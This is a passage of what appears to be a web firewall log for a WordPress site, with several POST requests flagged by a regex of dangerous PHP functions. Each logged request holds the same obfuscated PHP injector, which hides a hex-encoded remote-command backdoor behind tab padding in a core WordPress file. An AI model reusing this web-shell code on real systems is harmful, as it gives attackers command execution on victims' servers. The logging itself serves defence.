%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:7260\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrRHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\n\nxE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/plural-forms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252779%2527%253B%2524val3%2520%253D%2520%252774%2527%253B%2524val4%2520%253D%2520%252765%2527%253B%2524val5%2520%253D%2520%25276c%2527%253B%2524val6%2520%253D%2520%25275f%2527%253B%2524val7%2520%253D%2520%252770%2527%253B%2524val8%2520%253D%2520%252772%2527%253B%2524val9%2520%253D%2520%252775%2527%253B%2524val10%2520%253D%2520%25276f%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252761%2527%253B%2524val13%2520%253D%2520%252767%2527%253B%2524val14%2520%253D%2520%252763%2527%253B%2524val15%2520%253D%2520%252776%2527%253B%2524val16%2520%253D%2520%252764%2527%253B%2524val17%2520%253D%2520%252768%2527%253B%2524task_processor1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val2%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%2524val4%2520.%2520%25276d%2527%2529%253B%2524task_processor2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524val4%2520.%2520%2524val5%2520.%2520%25276c%2527%2520.%2520%2524val6%2520.%2520%2524val4%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%252761%2527%2520.%2520%2524val1%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%252768%2527%2520.%2520%2524val8%2520.%2520%2524val9%2529%253B%2524task_processor5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%2524val10%2520.%2520%252770%2527%2520.%2520%2524val4%2520.%2520%2524val11%2529%253B%2524task_processor6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val3%2520.%2520%2524val8%2520.%2520%252765%2527%2520.%2520%2524val12%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524val13%2520.%2520%252765%2527%2520.%2520%2524val3%2520.%2520%2524val6%2520.%2520%252763%2527%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524val4%2520.%2520%25276e%2527%2520.%2520%2524val3%2520.%2520%252773%2527%2529%253B%2524task_processor7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524val14%2520.%2520%25276c%2527%2520.%2520%2524val10%2520.%2520%2524val1%2520.%2520%252765%2527%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val4%2520.%2520%2524val15%2520.%2520%252765%2527%2520.%2520%2524val11%2520.%2520%2524val3%2520.%2520%25275f%2527%2520.%2520%2524val16%2520.%2520%252769%2527%2520.%2520%2524val1%2520.%2520%2524val7%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%252763%2527%2520.%2520%2524val17%2520.%2520%2524val4%2520.%2520%2524val8%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524task_processor1%2529%2529%257B%2524task_processor1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor2%2529%2529%257Bprint%2520%2524task_processor2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor3%2529%2529%257B%2524task_processor3%2528%2524event_dispatcher%252C%2524itm_rec%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524itm_rec%2529%253B%257Delseif%2528function_exists%2528%2524task_processor4%2529%2529%257B%2524task_processor4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor5%2529%2526%2526function_exists%2528%2524task_processor6%2529%2526%2526function_exists%2528%2524task_processor7%2529%2529%257B%2524parameter_group_res%253D%2524task_processor5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_res%2529%257B%2524k_dchunk%253D%2524task_processor6%2528%2524parameter_group_res%2529%253B%2524task_processor7%2528%2524parameter_group_res%2529%253Bprint%2520%2524k_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:43:41","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/plural-forms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252779%2527%253B%2524val3%2520%253D%2520%252774%2527%253B%2524val4%2520%253D%2520%252765%2527%253B%2524val5%2520%253D%2520%25276c%2527%253B%2524val6%2520%253D%2520%25275f%2527%253B%2524val7%2520%253D%2520%252770%2527%253B%2524val8%2520%253D%2520%252772%2527%253B%2524val9%2520%253D%2520%252775%2527%253B%2524val10%2520%253D%2520%25276f%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252761%2527%253B%2524val13%2520%253D%2520%252767%2527%253B%2524val14%2520%253D%2520%252763%2527%253B%2524val15%2520%253D%2520%252776%2527%253B%2524val16%2520%253D%2520%252764%2527%253B%2524val17%2520%253D%2520%252768%2527%253B%2524task_processor1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val2%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%2524val4%2520.%2520%25276d%2527%2529%253B%2524task_processor2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524val4%2520.%2520%2524val5%2520.%2520%25276c%2527%2520.%2520%2524val6%2520.%2520%2524val4%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%252761%2527%2520.%2520%2524val1%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%252768%2527%2520.%2520%2524val8%2520.%2520%2524val9%2529%253B%2524task_processor5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%2524val10%2520.%2520%252770%2527%2520.%2520%2524val4%2520.%2520%2524val11%2529%253B%2524task_processor6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val3%2520.%2520%2524val8%2520.%2520%252765%2527%2520.%2520%2524val12%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524val13%2520.%2520%252765%2527%2520.%2520%2524val3%2520.%2520%2524val6%2520.%2520%252763%2527%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524val4%2520.%2520%25276e%2527%2520.%2520%2524val3%2520.%2520%252773%2527%2529%253B%2524task_processor7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524val14%2520.%2520%25276c%2527%2520.%2520%2524val10%2520.%2520%2524val1%2520.%2520%252765%2527%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val4%2520.%2520%2524val15%2520.%2520%252765%2527%2520.%2520%2524val11%2520.%2520%2524val3%2520.%2520%25275f%2527%2520.%2520%2524val16%2520.%2520%252769%2527%2520.%2520%2524val1%2520.%2520%2524val7%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%252763%2527%2520.%2520%2524val17%2520.%2520%2524val4%2520.%2520%2524val8%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524task_processor1%2529%2529%257B%2524task_processor1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor2%2529%2529%257Bprint%2520%2524task_processor2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor3%2529%2529%257B%2524task_processor3%2528%2524event_dispatcher%252C%2524itm_rec%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524itm_rec%2529%253B%257Delseif%2528function_exists%2528%2524task_processor4%2529%2529%257B%2524task_processor4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor5%2529%2526%2526function_exists%2528%2524task_processor6%2529%2526%2526function_exists%2528%2524task_processor7%2529%2529%257B%2524parameter_group_res%253D%2524task_processor5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_res%2529%257B%2524k_dchunk%253D%2524task_processor6%2528%2524parameter_group_res%2529%253B%2524task_processor7%2528%2524parameter_group_res%2529%253Bprint%2520%2524k_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:7260\n\nGB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/plural-forms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252779%2527%253B%2524val3%2520%253D%2520%252774%2527%253B%2524val4%2520%253D%2520%252765%2527%253B%2524val5%2520%253D%2520%25276c%2527%253B%2524val6%2520%253D%2520%25275f%2527%253B%2524val7%2520%253D%2520%252770%2527%253B%2524val8%2520%253D%2520%252772%2527%253B%2524val9%2520%253D%2520%252775%2527%253B%2524val10%2520%253D%2520%25276f%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252761%2527%253B%2524val13%2520%253D%2520%252767%2527%253B%2524val14%2520%253D%2520%252763%2527%253B%2524val15%2520%253D%2520%252776%2527%253B%2524val16%2520%253D%2520%252764%2527%253B%2524val17%2520%253D%2520%252768%2527%253B%2524task_processor1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val2%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%2524val4%2520.%2520%25276d%2527%2529%253B%2524task_processor2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524val4%2520.%2520%2524val5%2520.%2520%25276c%2527%2520.%2520%2524val6%2520.%2520%2524val4%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%252761%2527%2520.%2520%2524val1%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%252768%2527%2520.%2520%2524val8%2520.%2520%2524val9%2529%253B%2524task_processor5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%2524val10%2520.%2520%252770%2527%2520.%2520%2524val4%2520.%2520%2524val11%2529%253B%2524task_processor6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val3%2520.%2520%2524val8%2520.%2520%252765%2527%2520.%2520%2524val12%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524val13%2520.%2520%252765%2527%2520.%2520%2524val3%2520.%2520%2524val6%2520.%2520%252763%2527%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524val4%2520.%2520%25276e%2527%2520.%2520%2524val3%2520.%2520%252773%2527%2529%253B%2524task_processor7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524val14%2520.%2520%25276c%2527%2520.%2520%2524val10%2520.%2520%2524val1%2520.%2520%252765%2527%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val4%2520.%2520%2524val15%2520.%2520%252765%2527%2520.%2520%2524val11%2520.%2520%2524val3%2520.%2520%25275f%2527%2520.%2520%2524val16%2520.%2520%252769%2527%2520.%2520%2524val1%2520.%2520%2524val7%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%252763%2527%2520.%2520%2524val17%2520.%2520%2524val4%2520.%2520%2524val8%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524task_processor1%2529%2529%257B%2524task_processor1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor2%2529%2529%257Bprint%2520%2524task_processor2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor3%2529%2529%257B%2524task_processor3%2528%2524event_dispatcher%252C%2524itm_rec%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524itm_rec%2529%253B%257Delseif%2528function_exists%2528%2524task_processor4%2529%2529%257B%2524task_processor4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor5%2529%2526%2526function_exists%2528%2524task_processor6%2529%2526%2526function_exists%2528%2524task_processor7%2529%2529%257B%2524parameter_group_res%253D%2524task_processor5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_res%2529%257B%2524k_dchunk%253D%2524task_processor6%2528%2524parameter_group_res%2529%253B%2524task_processor7%2528%2524parameter_group_res%2529%253Bprint%2520%2524k_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:43:50","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/plural-forms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252779%2527%253B%2524val3%2520%253D%2520%252774%2527%253B%2524val4%2520%253D%2520%252765%2527%253B%2524val5%2520%253D%2520%25276c%2527%253B%2524val6%2520%253D%2520%25275f%2527%253B%2524val7%2520%253D%2520%252770%2527%253B%2524val8%2520%253D%2520%252772%2527%253B%2524val9%2520%253D%2520%252775%2527%253B%2524val10%2520%253D%2520%25276f%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252761%2527%253B%2524val13%2520%253D%2520%252767%2527%253B%2524val14%2520%253D%2520%252763%2527%253B%2524val15%2520%253D%2520%252776%2527%253B%2524val16%2520%253D%2520%252764%2527%253B%2524val17%2520%253D%2520%252768%2527%253B%2524task_processor1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val2%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%2524val4%2520.%2520%25276d%2527%2529%253B%2524task_processor2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524val4%2520.%2520%2524val5%2520.%2520%25276c%2527%2520.%2520%2524val6%2520.%2520%2524val4%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%252761%2527%2520.%2520%2524val1%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%252768%2527%2520.%2520%2524val8%2520.%2520%2524val9%2529%253B%2524task_processor5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%2524val10%2520.%2520%252770%2527%2520.%2520%2524val4%2520.%2520%2524val11%2529%253B%2524task_processor6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val3%2520.%2520%2524val8%2520.%2520%252765%2527%2520.%2520%2524val12%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524val13%2520.%2520%252765%2527%2520.%2520%2524val3%2520.%2520%2524val6%2520.%2520%252763%2527%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524val4%2520.%2520%25276e%2527%2520.%2520%2524val3%2520.%2520%252773%2527%2529%253B%2524task_processor7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524val14%2520.%2520%25276c%2527%2520.%2520%2524val10%2520.%2520%2524val1%2520.%2520%252765%2527%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val4%2520.%2520%2524val15%2520.%2520%252765%2527%2520.%2520%2524val11%2520.%2520%2524val3%2520.%2520%25275f%2527%2520.%2520%2524val16%2520.%2520%252769%2527%2520.%2520%2524val1%2520.%2520%2524val7%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%252763%2527%2520.%2520%2524val17%2520.%2520%2524val4%2520.%2520%2524val8%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524task_processor1%2529%2529%257B%2524task_processor1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor2%2529%2529%257Bprint%2520%2524task_processor2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor3%2529%2529%257B%2524task_processor3%2528%2524event_dispatcher%252C%2524itm_rec%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524itm_rec%2529%253B%257Delseif%2528function_exists%2528%2524task_processor4%2529%2529%257B%2524task_processor4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor5%2529%2526%2526function_exists%2528%2524task_processor6%2529%2526%2526function_exists%2528%2524task_processor7%2529%2529%257B%2524parameter_group_res%253D%2524task_processor5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_res%2529%257B%2524k_dchunk%253D%2524task_processor6%2528%2524parameter_group_res%2529%253B%2524task_processor7%2528%2524parameter_group_res%2529%253Bprint%2520%2524k_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%